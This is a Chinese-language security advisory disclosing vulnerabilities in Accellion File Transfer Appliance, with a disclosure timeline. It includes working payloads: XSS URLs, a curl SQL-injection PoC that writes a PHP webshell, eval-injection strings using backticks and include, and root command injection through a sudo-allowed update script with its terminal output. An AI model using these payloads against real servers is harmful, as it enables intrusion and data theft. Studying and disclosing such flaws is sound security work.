Accellion File Transfer Appliance 弱點報告
By Orange Tsai
Accellion FTA 介紹
Accellion File Transfer Appliance (以下簡稱 FTA) 為一款安全檔案傳輸服務,可讓使用者線上分享、同步檔案,且所有檔案皆經 AES 128/256 加密,Enterprise 版本更支援 SSL VPN 服務並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制。
在研究過程中,於 FTA 版本 FTA_9_12_0 (13-Oct-2015 Release) 上,發現了下列弱點:
- Cross-Site Scripting x 3
- Pre-Auth SQL Injection leads to Remote Code Execution
- Known-Secret-Key leads to Remote Code Execution
- Local Privilege Escalation x 2
以上弱點可使不需經過認證的攻擊者,成功遠端攻擊 FTA 伺服器並取得最高權限,當攻擊者完全控制伺服器後,可取得伺服器上的加密檔案與用戶資料等。
弱點經回報 CERT/CC 後取得共四個獨立 CVE 編號 (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353)。
根據公開資料掃描,全球共發現 1217 台 FTA 存活主機,主要分布地點為美國,其次加拿大、澳洲、英國與新加坡。根據存活主機的域名、SSL Certificate 發現 FTA 使用客戶遍及政府、教育、企業等領域,其中不乏一些知名品牌。
https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//
https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//
https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)
經過代碼審查後,在 FTA 中發現一個不須驗證的 SQL Injection,這使得惡意使用者可透過 SQL Injection 存取伺服器的敏感檔案及個人資料,並配合權限設定問題導致遠端代碼執行。問題出在 security_key2.api 中所呼叫到的 client_properties( ... ) 函數中!
/home/seos/courier/security_key2.api // ... $password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) ); opendb(); $client_info = client_properties( $client_id )[0]; // ...其中 $g_app_id $g_username $client_id $password 皆為攻擊者可控參數,雖然有個 _decrypt( ... ) 函數對密碼進行處理,但是與弱點觸發並無相關。其中要注意是 $g_app_id 的值會被代入成全域變數,代表當前使用的 Application ID,並且在 opendb( ) 使用,其中在 opendb( ) 內有以下代碼:
$db = DB_MASTER . $g_app_id; if(!@mysql_select_db( $db ))mysql_select_db 中所開啟資料庫的名稱由使用者可控,如給錯誤的值將導致程式無法繼續執行下去,所以必須將 $g_app_id 偽造成正確的內容。
接著是最主要的函數 client_properties( $client_id )
function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') { $sql = ($user_type = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile '); $filter['client_id'] = $client_id; $filter['client_name'] = $client_name; $filter['client_type'] = $client_type; $filter['user'] = mysql_escape_like( $user ); $filter['user_type'] = $user_type; $filter['manager'] = $manager; $filter['user_status'] = $user_status; $sql &= construct_where_clause( $filter, $exclude_del ); // ... $result = array( ); @mysql_query( $sql ); ( $db_result = || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error( ), __FILE__, 221 ) ); function construct_where_clause($filter, $exclude_del = 1) { $where_clause = array( ); $where_clause[] = 'c_server_id != \'999\''; if ($exclude_del) { $where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')'; } if ($filter['client_id'] != '') { $where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\''; } if ($filter['manager'] != '') { $filter['manager'] = mysql_real_escape_string( $filter['manager'] ); $where_clause[] = 'c_manager = \'' . $filter['manager'] . '\''; } if ($filter['client_name'] != '') { $filter['client_name'] = mysql_real_escape_string( $filter['client_name'] ); $where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\''; } if (( $filter['user'] != '' && $filter['user'] != '%%' )) { $filter['user'] = mysql_real_escape_string( $filter['user'] ); $where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\''; }client_properties( ... ) 中會將所傳進的參數進行 SQL 語句的拼裝,而 construct_where_clause( ... ) 為最關鍵的一個函數。 在 construct_where_clause( ... ) 中可以看到參數皆使用 mysql_real_escape_string 來防禦但唯獨缺少 $client_id,從原始碼的 Coding Style 觀察猜測應該是開發時的疏忽,因此根據程式流程送出對應的參數即可觸發 SQL Injection。
此外,在 FTA 中資料庫使用者為 root 具有 FILE_PRIV 權限,因此可使用 INTO OUTFILE 撰寫自己 PHP 代碼至可寫目錄達成遠端代碼執行!
PoC
$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"生成的 PHP 檔案位置在
http://<fta>/courier/themes/templates/.cc.php
在前個弱點中,要達成遠端代碼執行還有一個條件是要存在可寫目錄,但現實中有機率找不到可寫的目錄放置 Webshell,因此無法從 SQL Injection 達成代碼執行,不過這時有另外一條路可以幫助我們達成遠端代碼執行。
這個弱點的前提條件是 已知資料庫中所存的加密 KEY
這點對我們來說不是問題,從前面的 SQL Injection 弱點可任意讀取資料庫內容,另外雖然在程式碼中有對參數進行一些過濾,但那些過濾是可以繞過的!
/home/seos/courier/sfUtils.api $func_call = decrypt( $_POST['fc'] ); $orig_func = ''; if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) { $orig_func = $func_call; $func_call = $func_match[1]; } $cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' ); if (( !$func_call || !in_array( $func_call, $cs_method ) )) { return false; } if ($orig_func) { $func_call = $orig_func; } if ($func_call == 'get_user_contact_list') { if (!$_csinfo['user_id']) { return false; } if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) { return false; } $func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));'; } else { if (isset( $_POST['p1'] )) { $func_param = array( ); $p_no = 7; while (isset( $_POST['p' . $p_no] )) { $func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) ); ++$p_no; } $func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));'; } } echo @eval( $func_call );如果已知加密 KEY 的話,即可控制 decrypt( $_POST[fc] ) 的輸出,而後面的正規表示式雖然針對函數名稱進行白名單過濾,但是沒對參數進行過濾,如此一來我們可以在參數的部分插入任意代碼,唯一的條件就是不能有 ( ) 出現,但由於 PHP 的鬆散特性,玩法其實很多,這裡列舉兩個:
直接透過反引號執行系統指令:
user_profile_auth(`$_POST[cmd]`);
更優雅的方式可以透過 include 語法引入上傳檔案的 tmp_name,這樣各種保護都不用擔心:
user_profile_auth(include $_FILES[file][tmp_name]);
在取得 PHP 網頁權限後,發現所屬權限為 nobody,為了進行更深入的研究,在對環境進行審視後,發現兩個可用來提升權限之弱點。
1. Rsync 配置錯誤 /etc/opt/rsyncd.conf log file = /home/soggycat/log/kennel.log ... [soggycat] path = /home/soggycat uid = soggycat read only = false list = false ...其中模組名稱 soggycat 對 /home/soggycat/ 為任何人可讀可寫,所以可將 SSH Key 寫至 /home/soggycat/.ssh/ 後以 soggycat 身分登入
bash-3.2$ id uid=99(nobody) gid=99(nobody) groups=99(nobody) bash-3.2$ rsync 0::soggycat/.ssh/ drwx------ 4096 2016/01/29 18:13:41 . -rw-r--r-- 606 2016/01/29 18:13:41 authorized_keys bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys . bash-3.2$ cat id_dsa.pub >> authorized_keys bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/ bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id Could not create directory '/.ssh'. Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts. uid=520(soggycat) gid=99(nobody) groups=99(nobody)在 FTA 中,為了使系統可以直接透過網頁介面進行更新,因此在 sudoers 配置中特別針對 nobody 用戶允許直接使用 root 權限執行指令,並透過 yum-client.pl 這隻程式進行軟體更新
/etc/sudoers ... Cmnd_Alias YUM_UPGRADE = /usr/bin/yum -y upgrade Cmnd_Alias YUM_CLIENT = /usr/local/bin/yum-client.pl ... # User privilege specification root ALL=(ALL) ALL admin ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ... nobody ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT radmin ALL =NOPASSWD: RESET_APPL ...其中 YUM_CLIENT 就是進行更新的指令,部分代碼如下:
/usr/local/bin/yum-client.pl ... GetOptions ( 'help' => \$help, 'download_only' => \$download_only, 'list' => \$list, 'cache' => \$cache, 'clearcache' => \$clearcache, 'cdrom=s' => \$cdrom, 'appid=s' => \$appid, 'servername=s' => \$servername, 'version=s' => \$version, 'token=s' => \$token); my $YUM_CMD = "/usr/bin/yum"; if ($cache){ $YUM_CMD = "$YUM_CMD -C"; } # if this is based on RHEL 5, change the repository my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`; my $LOGFILE = "/home/seos/log/yum-client.log"; my $STATUSFILE = "/home/seos/log/yum-client.status"; my $YUMCONFIG = "/etc/yum.conf"; my $YUMDIFF_FILE = '/home/seos/log/yum.diff'; if ($cdrom){ if ($OS eq "5"){ $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5"; }else{ $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf"; } system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!"); }深入觀察 yum-client.pl 後可發現在 --cdrom 參數上存在 Command Injection,使得攻擊者可將任意指令插入參數內並以 root 身分執行
所以使用如下指令:
bash-3.2$ id uid=99(nobody) gid=99(nobody) groups=99(nobody) bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)' mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113. bash-3.2$ cat /tmp/.gg uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)即可以 root 身分執行任意指令!
在取得最高權限後,開始對伺服器進行一些審視時,發現已有幾款後門藏在 FTA 主機中了,經過研究後首先確認一款 IRC BOT 為 Niara 所發布的 弱點報告 中有提及,此外,額外發現兩款不同類型的 PHP Webshell 並無在公開的報告中發現,透過 Apache Log 時間推測應該是透過 2015 年中的 CVE-2015-2857 所放置之後門。
PHPSPY 後門,全球 1217 台存活主機上共發現 62 台,放置路徑於:
https://<fta>/courier/themes/templates/Redirector_Cache.php
WSO 後門,全球 1217 台存活主機上共發現 9 台,放置路徑於:
https://<fta>/courier/themes/templates/imag.php
這份 Advisory 所提及的弱點為在 2016 二月時參加 Facebook Bug Bounty 時尋找到的,詳情可參考文章《滲透 Facebook 的思路與發現》,找到弱點的當下立即回報包括 Accellion 及 Facebook,Accellion 並在 2/12 號將此份弱點記錄在 FTA_9_12_40 並通知所有受影響的客戶安裝修補程式。
感謝 Facebook 以及 Accellion 的迅速反應跟配合 : )
- 2016/02/06 05:21 聯絡 Accellion 詢問何處可回報弱點
- 2016/02/07 12:35 將報告寄至 Accellion Support Team
- 2016/03/03 03:03 Accellion Support Team 通知會在 FTA_9_12_40 修復
- 2016/05/10 15:18 詢問將撰寫 Advisory 許可及通知發現兩款後門存在
- 2016/06/06 10:20 雙方討論定稿